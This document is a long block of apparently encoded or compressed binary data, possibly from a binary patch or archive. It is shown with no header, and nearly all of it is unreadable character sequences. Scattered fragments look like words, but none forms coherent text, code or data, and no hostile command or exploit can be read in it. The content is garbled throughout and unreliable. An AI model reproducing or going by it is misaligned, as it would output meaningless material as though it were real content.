zqRIs&#T8msdD{4m?M_}=T*P21&(k|I;28iW0{wh%z{$%?7f7si=upiKoiTWF!Q4_6 za<@zLbTR#4WK^fz(5gTdSLPtNE@)&Y7vxk-)7k5DlYz@=tmhp`p0e^{1j3Dd&J?e+ z$UddqgU}Hg0YGd4Nn0*iTv_5e4KBa1n4`lUC9a-1Rb@+y3-XxhNG2hmWcJd<3+PlA zpjNh8ysTil38rGIAt9~LD6Xa@6q;6E%=(PjjO759m#+vEa6(wHq+mhGl7dA=i|N-{ zRiy>WanqI-T_sURjZ4ZGR~FALEiZDjoOuJ;%EilyFDWW7RRf&LNlmSWrrhPFSIKl> z%5*J3(9@PKFRC=m8CA>X7ngJJx*UnZ@+wY8c`GKZs4T94{bmFQOBcFB74}1@U@}KK z`b{_IEw8w!bm@vBo|go-LkILp|Ber_oS!Ga~l3lR%wu~|T5 zG63uj8V&=dZt;8-N6TGq+&K$XE-ynM%ZoVBSRW3=^vGE?P*GW4zMzC7OPi(VO*gIe z$Wa$Hcyf!cDPHPk()8lWlI08a9A)~=>_FcPIjyLoa`N)B6_ZPfU@lCl2rMgJwxEoY z7mdE?n&R?BOP613te#X&9}^U!zR!$t(QITGXa9oAW` zM|9GFWo2H+XDwb(GI{y3vZ8Xfmy0FKq>f5>ZHOeCXsy6ZUcfMEOA!n`Ty(DGlrAiG zb2L~n+pWMZ3)A#hYmiCqlH#Hzvx*mSP{<^29ANs*(Ah!Pb@j*-yVckIIWIj?lBo%gdJ=L(VTQHAOdMrN!lo7a(%7SKw&mx|+Lu`I0K8#+2fU1?8B}rxaBd zu|>C<%)WWpUI3(5)e_FMm|RpE?2_f zNUvrWmvZ_FR;(z6(YiM9S(KJxwy0c$m8on+b-^;(%oQxI zC|FjsxU`_8sC3~{h=WP1dZS$gF(?wwW4ImEihdPN`Ua${B(4b8{w5E|_pi z`sr?Q!YLVU`E=fM4Eq1|e{ln9A3PvBkR|^o$szw^O#^BFzk>~Iqq?6PgeS}ASZ7;z z{^oAnAr1*l(^%Evi*e^XI51Pw2QOYcl24cCf##q2d;yLJe{Y9KVa}0jR#WH z{iVSTo$13nUdN3v{__0zc-;8ouiA$vej{+8(TCT>EBQ_z-u#)8@ABa_$0_;vasBOV z({!Q_4;-iDl6-if#?yRw+kr~I(P#Xy=-;Zp?LPS~EpOT}^1sybrX7Rdpz#vjzQGf< zAIf}qT9UG-)`zdvdg^_+(bM3=jh<#7UZ?f6`0(Vfl>gg&c-j# zH+llc_m5+v))Vi;lXX5M`tW9LPpS|9gVvMg!?V9o{mS&=&HMlZ{_=eIU$mZlA8zy% z`f#JC+K0DkJvBZ&TlcHchrg!fn|!#DZ};KvX!#BwUa0l=`0!7(e6J5T@=2-vwY3o~-@Q=EGO~ORuLsJo_r8r_+bmXgys%{5@@tJybtft^FWdhH}OjL;UDU_ zr~2?ly}oDraI=34`EVoO;RrlEOBIrQ_#f|8c)kzM ze^bvJK0NT9lJE85*^a`i)BF3mdAFAL;Z0h9;)MS4c|R)o1|Qz_slt;^>o1?yqvd^g zuh!q}!|Q)i@|mai*HiO}!drZJqt>69(O*7$yB?=LJWqdiywiu*f2{Q9^8;D*2==-K#AKt9>7iRXC|3uGwB|f}oxzb9;yO+Ex81^zvE(}} ze4K@MT6nsJcUkyE3wJF1EDP_k@N+D@*TN@Tc;INypHnS7-oh`i@I(v0*us-6{1OXK zw(!d=Jk`Q4x9~IzpJ(Bj7G7ZC*%n@8;UNnzweUO(FSGD`3%|y~3oU$wg_l_P^%h=c z;Wt`%wT0JMc#Vbs-ok4we2sm2e!GP?TX?;Nw^;aZEWFLa z@3!!E3%}38J1qP`3-7e>^%mY`;ZIn2AX()tJ_dr5H}5ar!qtqVc!?ISYAQU*!iRWj z0?8K6xyJmZS~%M_e`ywO)&}x2Eqs3?jBB=q54Z4;g(p~eo`ok`c)o>?vhYF+w?B7U zV&Ml_@?{pz@12;xY70NafVkFJ_@NeFYvD;2UT@)tS$KnmA8z4|7XAwhZ?fEIef4@>oFg z@+>^VlFzsBGc3H&!q2qu5)03?@G=WO+rq0YJj=psEc{#xueEUfRYBp_TX?o5-(cZE z3vaaWNfzE@;ZrQU*}|t;c#DOfZ{ckg9FR}1q3oo;`ue0zH3%|p{%Pjm(3$M2D zyDYrM!tb&0S_^Nm@Olfs*TNet{C*2>wD1Qkyvf3UYvIin{*Z;YSa_p_w^{hZ7T#{* zk63tzh5ydNJ1zWC3-7Y<$1L2j@W(B@$HJQ|yw}2?wD4HPuM&>>KD7Gt_)ui%VLRdi zp|x$5aeW=3)i1_xkt%%|uK?~F_bUEPI66B(d6~bWJNx?j7S#*Q8;a<5kB%d~*`qo1 zq8mJV2Gd8xhV(j*=8Z#il}Gc2 zAzJRyNu=j{G;a{1vpkwN2GL0#%^QN~1dl#~^jMGPjX`v@NArdt8t2ix5s2>j$?bnK z>75>Z4C(D2J(l!lk3N?429Hi5z22k8kzVJ~$B|y;(Z`c6_vlp8^F5jy{pc)@K7sTk zkLJccI>Dn)B0bilxsi{K_GoV4qj4U6D(O8xy8Y*dJ-XAQ(@Agl=n14Zd-Q3fH+b~v zq}O|N2I+Mk&5e0G>YbjdygGM_)jCl1Fm`9-ZLPxunN>G&kJQ(H_l>b~MhTFCx9?d$<4GSVwnyG&j`I z?H)ag^k$EqO?rbz&mq0uqvw)d=g}9FUggo3kS_P=eA4qhnj7foERVj7^dyhIob&{b zzJl~vkDf<*v`2G;9gXwo0@8cFbNgRNdZ$Mhk>2jn^GR>^=mn%Vc=STj>pi-d^g54T zM0%A+Uq!myqqzV@=X*3a&e2&OeKqMx9?gw%bb?1OB|X-oxiOB8_UKa5aUQ*#^qyX~ z|7E0idNeo6(d`~xPI|LPSCHP|(Uqjvdvq1)bsl{U=~W(mE$MQPt|mR-qgRlg<jHjfw|M&XnFMRYTKKcV6&8OA2K7KmErnma&jXwH0AN{nCe#}Qd=%erU z(YO2PTYU6QKKdFTUFxG3`RFTs^u<1UhL4`+qtErxXZYw-eDrZX`Y0cLh>t$dNAKsO zf5uZkJ3f1T^cOywpE|SUKk(6S`RLbu^j06e(MLb$qo4NCkNM~aee~Tv`gR|Ei;up^ zM_=QkOMUbrAAO~dzSu|4@X^zJ^tnFz3?F@pk3P;vALXMD@zDqR=>2^3&v=?`$8)cb z{=!G|>9;NafscO6N5Af)xBBRfKKeNy{j`sM%tt@yqwn_7xBKW@eDqB|`Whcy>Z2F= z=qr8n#Xfq5kDlhE&-Kw~_~=u7^l?7=C?9=@k3P^x@8_d`{%8Mq?)A}M_~=i3^anor zEg${5kKXE|H@b8vaz4%uY8tRZP-h2S(I;@@Fw>cg?GussNMhgS%D8aiWm|%C=FSd9 ze$7u1*4nP7JMXp{79PF`-C^!lNl1-UIo7D}OHKCx-eq zci-o5KN$+|2;CfMLbU+SD1zY^ogcC54c+_*p+4LIhF_Yx_P>?GoeY$_2d{puFYH`C zFL=e4;3dI}bHaOrbEQw=AJE@N1A(0IOXzaK+AXLJ3o>azB-2TSPMDYs=tw}hV$_>A zn@&6d-O+kfadxor@D692T(?12)rhI-eN)r_o4zakz3vO058&F6G*bC#D3Vdo%`R?p z9*2gU@QZZ!*xc}5Kjb2d%Fz^BFG{y`4~53`_j1F1PV?^qFy>RI3D;0~x6{b$ z+V>LH%*N42PWb)Ha#e4G^MY3f3$_F=o*Ld7oSPGVEjTA9{BAQlfKN(b+7z)3e8~%b#jM+T3^$2Ui`>t}aFW?jzxu z15g?MrN4Ty^MuM_&Kn3(`mW2v4qQ$nws5y8J`aU|nmyC$V+bSFiOwR_2t~%6i4Q@A zR)61Dg$@rrfkas7QLO@u^luBgzCop3xpFvwytekF%+Tb zE^+1Bz{(AOqU8QYxdkFu-RX+_!4`RnBH2ph*{SJmXsXfXKR|x6;@{OhJQp3jXMG@$ z{@!Jwa3_;JIB&~bTfH(A{tR{2YV^CWSf_e1v_1EU$X9624#l}BRG0PjvbX?^55I$?+Q<)`Ihz>t zuq61&p-2EKMoMN4s~YNz`GyI>Y`a2d+Z<-w&oH3-0+yb6m~q?fj6f)m6~Bd{Y67au zcvGjwCb4z}l4dHEGo~RVL{&WNJp*R?u29&y?DBb-4RXSLdP2~{<6m=g!!OMaV!q4T zADwd6&>;HlG?+d${pG3Y+jGO!7$IA>)o|>`AoG~=?mH@@=Hl?Scv z9b9=i^7GNZ6B<%^S@)Q%RbW?M05I=wfj}0UIZh3(g%}%4lXOxJu(^1VvmrM_Dqt9RGl=Sc5oM8Ct z^u2S#KOtF~Z;T7f#;G}soX7I18A;Co;IM-RhDKK&n&ddujH?Q4Z9Utm@B@{lWa%d>r-94Or zxCIt;e+h{scTA~H4 z{8mmGSpJSyVm(m6&b`x@k%8fu8yUF~Z*xs=Yuz7Wxsjo%0Q)k&=SYo=JQl3JjI~0H zxmXAXDxvv1w#@kub|zy2eHdzU!kZ*(ug8jj%Ex^a7vP&A1FbLyb;cYCU{+4J{pu6@ zGIAVhJ_wp;&UEHsLV+GcaA;7Om$2pxQIZiwqoxP**j#w%xklt5i1cOr1(u)}0bI}v zp5CJu!$I|B{7v=ZeIf2qy{MOlHvrQ9>C5|p@3wB%`N z_CE2#ooE5Z%0@wTdbBb2FG|n%2pMW$j@BiLl65};bUHXkg@?WjMaE03Rh?7VHbZW_ zG|sgBuC#q6T-2A5q}t}ew06{k>?voxv!SOiqX2z{w|XH5Z}F)P`gJ&(?#p;ltjbsh z7JRo67ufh0&YWk#s!OkgT@x+4y4gl#30C`tiy&rJSQcY|AhEY8QW?{{q47qb!Q4EV`3e^vTNZcG|>W#h5+sae8#Wh z0$Zn~j1{>q07s#2Zuqv8E|C-S9l#$%(EPS3DTzb1&K`iX)+#WQPsgaS7vNk>=g@dT zfQGgKn1Ci&wUEyk2-3u}VGg9q1?WIRZCfK#=t#;06P9icg{Pz>LGT0go0Z<=Kb;BV zhorEfE#TaVhA1lDCAVwqnw0xc9}CcwlvE`K$3rv+4yEXe6hn8ek7s*aq=ry@{FIbD zqxH*MVQpPSBE?^#cn^Y?v?wyP_%=MwgyL#SZVRp62J1$4(K<+OrQ|z{;NLbV1mlvG zkRHD#r4b}6Yz?j6nna-wDZUMsZU$!%BY2){?oC0ckJh2Nw(WL>Y72~Sf)=bD1wN^z-cFRkdlwgJvj>GS;L!{5FwD&wOcp9;=mc&{>4QtJS3XG7 zauTpF!N}M7D48n}WQcpAnrid4xXIq~6;}4XiRwKVsyY{Hj0p_HJ9fw(xK8ClG9)mC zQE`)P$A@mzm;@oPp!s+VR+S4KT6UkfHBi!vTO&xutqoVWfcETqxJHha>QIMGmygbF5Wq2hhU_zIA)ryC1DxLKxP$$}1Z?F~=;M5GKCJ$TkCIa-;DU6dB=8fwpt}#G}aB8J;~HMTsuIQDw$YHp<{l zGQ4~gxX)zdOBC;F!>d7oYd(4Pinq@2no!`X16|LfDC4vP1%9H0@?9u{w-Xn!p%(>a z5vM~Ms2!Y$qQuT*|4W>W`3_42Vt?ck$I+K`My8hJ^cTWFc0mV#oaO{84kWzmU?To_!it`atVRpW@!8aE5Wt-6ob}gEhb7nguttM&X9mdIfGV1 zB>iRT?9{>t9M(ItdN6p6;9!Q;BePv78JQg@(lRN!pgr&~Jb)s0)YPK|)UE?|y~JE8 z1Ii%Ri=d3q27xeA1(Ha&3G_fpmq3U#W@r?dlkpfmNJ9+cL?B!)>F;Ee;qS4yNbE9E z;0I-ZU4Wv*rx1k%g_Rqu7KIFj-Dj|76!@VT)ZJ{bP87~i*k=agI99oHXG$W<9F=Lj z){Xopy=o$w1dOp~M8D^h2wzCh7||yHn22U;K{ui&X=!g%(i52wV+2aHICiWfS78_B z4o$Yq;diNQt*|(=0wPkcD~LL?uc5|5FlYoL2gNN~&JHcMe?T!Nsi;c}^bc(mejWgumP38qWn6R zP|j%~u(%_%!}=~~UvxMRJbEk*S9Z`1?M%J?dZFd0D5E(1k*~$Y!DwojmfmbayIn7> z)mndzuFx;E3@L3-#C8HoZbBU@Z_=`2OTUf#IoGOtjr}SgLk#z)u6zcnUSei zJid}#>NTNYw$?3*_q^eCpn(5Ny)MPuX?VRTnAJEQ_M*MvxQNbV6qp?xy{Rbcc`p-1 zcFUdCa8z(xN)J%@vAIg^qzko>>m1w}VmAhquB+8ti3i+H2XCT-tHIFsKh0XkZDtdb z`(?E8l%&D~DUDiNrSlZsM_w*oMQG#)r2%3Ms7q8#pIqB0#w zhlfyxBQL;30$hlK2}YUXl^b3y3f$(fUW4M@XL!vh;QzvFQ@qWF*NFlLKI=J(_nG0* z5R`?Nh%#&$jf>clih@ZR{s4)+>BIga3p5-s35t&NV~q~cYhwbW}N zJ6>&!R|gmf%cbQiUYn?~MGG@tuOmE+mr@E~hU0TrBG^7rr6vEa7395|8+$GWC zs8s3VYFvgKPXF*WBnTLY$W+BSp z%{RPi6wI)$RlHjbuTk?LzrkSbD440a6J_w;HM|}a*bcBbSRrjEpFFuZIO zk|0mN#EhoNTGS&@{0OQwXYK2I~J-?f{>P`!5 zECvJ>!P@WGN$koXhDiir#Qen6&J+OqW=vfWh397BB3>;)fw!*YRV&_ghF6aQ7c=r2 z6>q)awV+_eW4q$LVt8FBaQDl4J&L!-@Zw>LnH!Q&hAoHVBDSQVU~apz6>k!G^i>Fj zeo@6I2yhw$6#luAQ`mSM7-=EdQZlPEz@SHE+lZ-pi}=3~V$|87#bs1L`f=@l8Ad#d zdTWX7DXF?m%Sve7qeZq6Wi8J4TC1Za#fW}qQ61P~F{-tYP-jtz7%&o0M$f))s)vY7 z;V?5(3%Lo6O&Cr&AfXr9E)*Ge4nOV;U`#xUjC`s3!#8)fO!w3=*>eR85s2zqReTxhS$203ozX1 z^b(LVR@9)V8~LW5NaaxB9Y{XA(2Hn2rRh>u`4G%9JjbBN)H$G9B(dm1jLKWIxLG9E zU!|ngBFQ^Ti9?qbb9Xpc7_k-8O5!oexnX2rIBPH}y%6B050OmMGHMROn!yky1Ju(* zzUHeIIs<(nEz9X<<`ud#Xs=zj!%p3ciG?ZQ z0Hb|K3uZtfs`8EugEJFF%qbWM)sR6DuERxwP>%u~4Q#!^T2R1a7h?_qA_U}~l;l(uPE_wLuos?BDnR_SOl_r6!hClA|3 zSg^iW?b#ARN*Hysaw5d7r5<*fns0{PRtj?=SiVT*Ogsc=R-qO&IfD%%o-=8X72>f7 z@bI+;hViSuDwOr0;Ocd_h^w1W7^~gcqIl2aA~icu!2Bt$?ozy+xJbQT6j%?shNDrD zPe#Ga$!REqHvt!s523*HVA%2%?=r(H(>$&<)hIJUwYa)|LX;38*A@He<*kOYa7DA0 z-N$FoVo)%Yjaq4^7DS9Nh9pIlQWeT}t&hiD(l*9~2@{7}HgGuh+5$DyWP_HfWjWNQ zEs&w++PPJR7#_1}y?I&|A=6Ll&?$y3Ni!I>Z=r;aC;^6?NZ*Cd!;!0?Lmb(F0&W+@ zkxeLr_oU&qp?E zk$^O#peNtWD9Xs|M8WKMj2u4?VUi&cW#|}-ig%Xb<)L6!=0e4rZ+O)x znANuyWyY@_SLH)wHGRUNl8lc4z)g1|e)LF-mNAo+9F;c#)SHnm%{Kvii3+(lK2}CB zo_j%nisGTyZA>}Wl|7XKgL8W+3&Ya1>{fk_%Lk`g?UxK6Vv-6Gs?FD;`?UY2Bp_B) z3PNWMuAGe|XH=T#=Sd=xJVN8bt)2EqLOX%gn(M$jgn%_u`;gNT6Fj)ECPor?Fa z;q{lS3ZL;LS3;5){lpu2#J346hyq>Y^{2P-g$! zSc%ir4A}r4-O!y-ba5ISiAv}S5) z8G6{GFq8243|2t|;=!ezg<8tpli#Ow%7h%{M4Ac-br4ajWo4OVB)MUOt~B84b_bL_Qe>Jta>t zSO^89BOhhxzs&H;P%tNxHHx>&@ETCy+glj9MwF5GbV@Ud^szf@F>*Zs;lR%>RgsfT zN~acNL`mww7{3_kxu^IKh>+p{+#AnMDJq30SNF>J+HATjLmK)YF772e_Fiaxmr# zB%!U5qTGo#p{S0DnqilA{ALs-7@a7XKshMG@t+x905#3rnTRrYqj8aXsVH#n1a_9e z@=$O$KPZDY-|(tYFn6=Hig&BwHKJhV;bxRM5<7Us=LT}EShfITU>VD|eX$${+QhO; z%ek?N({Gdfb9~7 zb`;DK*@-fE?;2hY3g+%K00rR1;Ue{tP%xoQRlE}nFB=7u5_yU@%kWB2Fnix>#kNOATtVdDyZY?PA)j14l8_MwK9~e1V%<#-bkC=9_=ttu8c@zs2W8?s*n>xq`&yDC_ ze?-*;*sJBNqY2qsHDeBg+6f3H)g^;eiKKVkjBg@9#EI?>X}%edc!+`rW5So?zcS4? zQG1cfcszM2%wmuWAwWe9S`fEq>Z23@D+4IoY#c{$15k% z9+ctOJ-A2!;~{M(%p{b-I~*6`rJ-QPQ?}wwGQ4~gOuZ7tyV~$-P%z`SUh&o$UX$jb zo#%xSGpDtw&~pc@=5XoclPcDajuC`!aZvK|B6}1@|i*06BhG?nT*zA|91d zXE-hr!ekUo=+hK$g5iZwFk?Pn@h&sGGR=doRR(K7!L-waGI&oKUYq7|u(hMCC$CNv zX}U>p*E?O9k2zR+AV9BkXGKBl{6S@b3QiK(ba<*3vyL9r;~wDf&aE@mxXjaHZgZnJ z{qrHWxRJLjaCEX(TCJrS#g^%6`e!6L0JAlZ5&bJB6WZFSF&KftCxk+(QMm#>l zMPkK+UUP$yh%$JiaS>iB3TFF~sd#4@ULFc&EiF{M`G!}mdC+yM!5UFGN9D-|6veJ~ z6inNlDAOffxYD&IPOd|K5I^IA6b0eu_+%Y0WWN$pC$v5(aXRU7|*+G>;E5s1L6sLyB6Pw6uGshry5M zVL-Xr(qEg>GN!k(K;#ib_EqD`C^z7$BibfKe&Xm|xIu!{gMyhD`5Y3wI9!C6gn}7} zsfu@k;bm(c#8lp(*~@LEtXNzkr%uNYnz3QQilq8DX* zaLK3k3XhRs96L>KPe4*;3%tLH1=-~%0i}kJ=59;x6F%HiLI~G-T=A-av!^OOWm@tT zX^_HndnSd#A5&EWit+{p9I(u`|)(4={cax==**`j2g$7PTVVib7oBp-vh3s-bt zJa!@|LEBCOp~yUZ!TP<*{9C6c51)!x-`t3|@l+*-B6E{&oj$hm*flTXH7f1T;q3#- zp}yBcYqwYKpZ>CQ{9gbhIC;F_Wd*N0kNt_?{2t7g2;l7&+nlY>@~hG>rFK6Q!W$AC zw6rjE;t=^}bLCK{WCOT2zt{^ny^XKGz*}%~!aw503){|)3(UofS$=|M^~QySHDANb z>5-)=NgGc=iLV!FVtq63TWGC;v`S+++ zQ^j}0oF`vr=DS0FIuXNDUIDa(om&!`xVf?n5=Xic2b^Riaww4lW)qlv6-5KuM>}UY z%m3Wh#}~8=!xeA%7?&H~sm*y7<^VZJy@8`@Xm0r9?!+M8=+gZS-u{uk%c-14=i>z< zD~9qd52N)vExux38c?}AYP~*%Z>ac2d^9(G7u<8tGsZo9B~3=l!LP380*ic z&Y8l;W`2h=0_{MPymbgKVv!f%$ZIF$#X~oLo-~NDvA%U44*-3g^91^eZ(YaJqbK6o z<-{9O;uF@qog>^2_?`5+jPui#L$<+SzGC99;6{dp!dZu)HeMnU7ar!E%~S{vJs38c zh<=Rm9Z~$j2>Rr+@GboV;ADt>)98uqgc#T-ll{5U@`1(vl25r)&}o{Zr;-~c*NjuH{(SMeN{)N_c`5?xLFH;MX8OrWZ(fZhJ1CZ>Plt{>mqgvoM`J1tJe$GQS0e ze{=j+SX_~iUHD1evsPWBA!PZ+(!s|db!u1H`uIT%CTo$T3 zc|3Ha<84g4ooT27@9cia^Ue&|rFcdZ3OfhmN})l9fvG2_;!|lx<)`KLgJZ1GA3)4QidMYAsQ;I~P_-ptbY4Yy|TAg+GZ=tM8roV*R8`Fe!_&vf}P1a?a zHD9p`?h;lRS?6ii`HJToFBpwm{0raNhj8Utm21@G7<{EH~UL>|*rv2<9jBFmP{` znSO_}X9EMTUbx2(S~?F?Hj;4`SE@+X0^|l>73Op!%v?-(P9zI$E_1e9(YO^y}TXnpr<0{d?SB)ivD`_E@B*UBU1L?8J@tv;8letL42*%EC`@%odV&oF#$H+Mt>j}%$(^DEyR?MxBPgn%FMiYu`oBeZ%m>gh zV9@8H4^GxzF9!dR3Zn69W#M{hf439078{;w!UMk|E0WbIGwf!kP|sm+dOFS%9V+O# zv{07GZNKvx+@vggv7d$05%f`5Se~=d@Js|fOX7nF*M8&m@^_*`wZfAYm{uuP?{H2N zt5t9wR#soCtRAbae)35b;m0i{|HhFyl$@!Rd;!;+QSn=)#siInSF-{k68>uyx?4@yMDQis;;+)IUhK6eAS$q8P-&Z4ryeWGFq*7 zyPb(*v>E~x%IH2?8_7!5MmIm9dcMNb!LMDQ;~$8`Zs!|odMZ;owkRF{m8EmDvsCN2 z#?x`A=upu}VaK_IIsaVm8NEn^$CN;o*YT<7IBu0Vir+@xoyWiOJaxHLP%67eh>0hP zi94KGVxkIgzA`aUnHbb2zTBj`Szsw?6D8udH&9e2riqElV;3nCf5Lp?nP|n5D zo)gbj7JdaCo`q)MWTEdas*{GE~Ybi-mN<=^IhqRKDw34GOC2!$*hhEA)Mo}#kcQkrt zCy4OKW_I0OC}!)0VuOvUh2ru45L4_VNuLj#;Fn%Ecir@CAVjZJ1KJs*2u5^smI-am}@Ub3-*)XM}LF-7?I{3&_+mWVpd?Mc3 z?G#%&-c~yPK~^Mdj@I!XO#ZY(St;o_RCK5y^XrkVJXUiiKjd}%HBmJt4d%E>6XAG- zr$*BL$S8To@u*NZ#D#ZTe~425VZwP*ctP<<&a)Pj3@ZuaU-;d389Q zf?pn&?(T4|k?o5bUlppmx2f(H%N~5QvkNN;ySu_tGG8gVS}RGnlq^?DE>cR8wUQ>S zq{>oqrc(00R`R*EOtIrs}NXJ$$T(RiD(aJ;y4x6@|rKlmvE7=IvHk*q)BZjGzuncBij zJRL=%Lm6A@TKM1tUW4Z=3(vM^Hc3*wXfWPR`7W_t0e=e5qKdI{OP{;af1o zv(Q?3|4s`}77Nunm?#yL%CIu=UYTlkIGwVUQF=!z6K^6blC@0^Z8kd>X%i2!lw2uF zq|3{snDtkl?cDh|y034920=Wx?uL|9Ig-MeHt&Bo?L03x{4?KvnCxu3g~F=k?+ za)z?+J7vTqG2%1l6)YU|(>EfhdNNKV$0X2|k&IqSMzTiX;yj?GKN0Dy>9no)F|WDZ z#Bn1%=X|_bcnkFomd?!$tlgdv{uGb$@FMKB-{A_4-%{iAQd@bGPv=!o4t|iY$ZnGp zuj_#3MoRFqYLC84>4Hz_GO&#lncS{Ai(RS`Y2ZYbt)b~%}@!mMJq3&Zb z(J0-^AjJc|VqPORptZ|c4`;ZuH4^XSu(UdB6UJYl60arB+7@BysHu26^I>?J^vfgT z0#m|!ri6dSImK-toU2->Evue0=-R%@^Kg6{9=b~A(_uK3RxeN=R&~5{%6&L#PIk`c zM1}VRAA-Y^7nY+^UB(pX;kn7@kU*1DPwo{<8}Ud$HkrXVx@yV(qSkH4A#E zQtI}9hjtlcWxl9BMjxLa#u@xlz<4@Q&bbXO40YNuK-2f~IN;9?Ff|I+j)L0g>D*7r z>*N#Gj%Pcle;DdVk07BL^ED$t#$1b0rx~9%fKg)@Q*lJKQaHPv*T^ZiIUi`wpUHXC z=Ik$9rQOcG23%rWu|YGgBI8ku@xErvAfv-D*q1kiv)ehHoXs{TUT!vaJBO3= zgUvZja{}ZXM?xpYIAP#@{C9(qWHGMPjMvGSX)(f@@hllP7zPcyUO2m*`^hP_IomYn zW^$glIeRqcDsn!yIY-JZ>~3c|If*2+$$W)All*it;w(m~X8eMTB8zdaX2g+ko5grh zGop8a@fVA+TQfSy*l8H-^&J1$iwK=2rvj2!bIYUX9I_i`L@h2zEaFCa$N|hbXATq{Uj1tXo?gZm< zi*bi$yg|k-hCv6c70zzwS#qjv&PL6-pPWD0oT%p9OwNA{2Zp^Tj2%u18LwN6gTG}b zcQ_Z3F^mK|i5ll=#u;QxFbo=&E}Y%Y5#*%U9Cg&U+leDb-nVW%c9*W>+yPFlse@*I zC5#=;8)RH(F*a((b7cIM)dJuEB z-lhDc9(GJy3;YSe)rMdM9=c#TdK&Wl(Fm+N5lrITRvapv0alg6(T-YG5|!KdgAF^J z!2)MJ!xqlBTKHVG{3;$YI;UC|{UCV8f5L3}UA8<*x4fUUj2#+&zCq%m8d$%M?G9j2 zSQuHW_%QFa-+Fz1Pqi?XZ`6kRxbw(T-Tp*a1L(?9y7toAn=M`MN`>rr9G$<5?}6t| zbgB-5E&TbD+wmM^-RXX`_?PRp6H(i-to8qDY%o<}v259j+ zbPhSVhdG$_fY;>F(qzUuWC-HHhv$jTvMg`!D7~Q206HI4I_Wd} zUZi6I+*X${eiS{=`v>f&AAo^5k^LkzY(N%w>fSG5?F-Psoo|ED9DPFf%u%F2Xd%G`y12nHkQnx#l6U)MVB_wtq9tO4<#< z(h){p&-EVmT!eGJl{9+ARFMT{vqqQYp| zNKURiCYDb(1Y3VVg=mTh>4(I@)}Mjp%7bDhB(iEhJigx#rqD_1 z<0Vf(%sjylwx&T$J;mQhF)g!}GH!HE6B$0nw`GbfTQbBJOTiQ>a65CRD3H!rGRc;L ziGBrxslfffgZ}8s6p4Xh4~}AY(FVroWNuehOv} zs9=tzV6I=mnU(@~+!Trwj=zl0M_E$A)?%+2OJ)~NRn_nGF`gUA={L4YP%GLlLTXrC z?QiAx!gN2Kp$1)Rm5AXe)flrz#N5$!9r${5SwaO?LpQn_d;{n#OK7Dlr1R`ZFwI9_ z@Yy!7L-O$#`S~GavC7zQaSZByLMGU{PK@EFWJF90Z5JVTkliIh{Fsa_^al}AuDM5y z!Gi(Q=XznfNqetokfgPQmRK6@_iLCTOc{ar0L^2fK+~n}vlQ$W1=zP51*ZwqSh#T{IQ>TMm#7du(9-agXuz)C zX!tV94!SAv4fy?*Osb5&Dncs3zZDJGbQukQ6s8{3JUd;A;n5n0jZbhRzcQm!uh!Br z%w_t9^#T#nOJA^cIONnP*KAGaTAD_l7hIdRDYre-xEWTl3 zLVJWXB#CSZ{ab{XYr)o|T@Bpcxl4Ilv{{6dZ;o+=v^95tX~rbJZ>B!ic9KZpcGeiP zj8bk0(!o|AZ`)|ea!0`U}J6MO{6AF@Nv{aGZ(de(mQ zUkK4y2KrfW)i~K`iL_CKBZML?A|eCC68WtW3AR4(wxH5n*>Zy?@b>`)F82i51{65U z2w?qphtOLh>OJO*9t4%g!eX6{ivn0M||1<0hJte?c+6^`&J;kk0QGOX$hxt(?f-=uH7yYV#_9&L@j**l3ySbHv- zaQX}cCHMi_gf*!^VfVK*G`z<>Iyv+P_cngTf$9_{q4vi?_+<82NMBk>>Cas0==H92 z_4e)*eG-$f_8+L=3N5@*3q_v+oHMbrG9@>RUp&es->^vJb|=7)3f zW4kEw7j|>#%N4_?hrew>{XqAjV*aoy99{G|e}o^pv2yK7Zwqfu?_1r2Z!;}TNzSdS zR8dNWP)^>KRrnIv3?vS}NTj5{Gm+oq939<;c5G(ub=vP_ zJ}E~0*FOplgemAGcgn51g-L7GK1Gek&%0zY47Psgue%+b-0+s@Tezj*^%CqWbHYya zNp}yTzCg42B=lUqK%=LddzDHVo}4NAf7<+daM!dYtgRe42M$4=AP0WE3^{PwEu4ka z&)6QTa^RthFb*dM`|@_YF$#n?)#vxFW5Rvc#^gXb^!lxLb7^=gycuOGt=3IQ$k-zM$GuX8j>;6niZ1m z5)Js6Axo9`FfJ-2_bjkNavx@FH521cXb1lrrT!nQ6KZ%Wf zBvup5kQ4FtV)08zenJo3t>NA$le1Tx5QjsNe0JJ+P)*MN`H{OYx;9ET?eFr_LwDv~3@t+JK#(DMI-6$!_P2gXODNeQ0}MzraZEs$V{o>AOa@t6?Y3<}}7%%hsSL2>U^+_%vu za(|_{{Fxp6dUGD!kI%P$hzE@LMALN(Nsal6?L;zCP{nz*hSn(m^T%sK;f7{-CNfyQ z)G~O0r?*q9SObghr_Ko&tfnhBpz?se8$ejGc{ zv^Uv{cMMIZsgB$Ro9LAnQNt+9gt7s>(uXG_=zIrafcM5Aa3A32$fR$|z!v`lb#lX> zFbkWDyf%_VdVnmvAMyh>z6uQIw;btuynGu^7mYbfLXmMjQwm)_8}lYZ@sr|C!9!7) z{0EtnK6Q@N+#kS2rk%nBjEuaNDOQ)&Q$%V^nBj<}yGLBbMBA+MXE9OotOcXg~89Jmd0x8 z^Iy{RtdBX*rQzACQFp0Q_c7g%s1)OF-uQ7rEM1LCR~T(O|GmM}HCO2xFN1BHbC~E- z6Z5=Sy5@+kjH#$2vnC_a49wU!RdntXi6bGRvo)^3%hpVh9w1wHmBq-`e}Uob#uzgV z9wI8n+@_N2HD(qff zPjdgNGhq=m{vTJ!V`;rwA>+|o! z{X)98kCPrnC8v#JR!3#D$YmTU*`4*)mDIA?xl(I6+-OOtE%+xY=}&>oW*Gzh5@?G~ z1A!CfVC!7j*76)hZENLNE4pGkx4f75c+vTQu~F8iF$=-w9TFZlorwC}L8}e(*$^}5 z%E8t}5Yx|kD5hl&rHp&rxL9O(944x?%vWzh28UwUnJ*DjSYO@2sfM;wKyBSiEdd_j zDS{E>6L;~lrh{au&1fOZDSPT&f70w1r!VBllHzaFC z$NiQBk4u$~Hj$8EJ!A>E0Y}y71D?#ou8gi<pB~$;xB&gCU9jyC>8Wv>n0I;*HiHT zg*YgvVhgw`JvLe*D{PUi1BzU1M1rmDZVPq_XLtht7*OC~PvEry1-^QXeWk}S_{6+^ z+4&|aMc)t^3HU!AYNElowML_($XJ8pG5rDq%cbmaT4 zh;BUtT=_XX&K#eDtDjOt5eZaK`I;yyI4YK)M^H=Exjtk0sE;5YlMoXq$ zWYk>wg;+wS{fy!9S3qF*=|;x&{))+pXU~O3&I>Get@Xd-SbOO?0Zq>-F=- 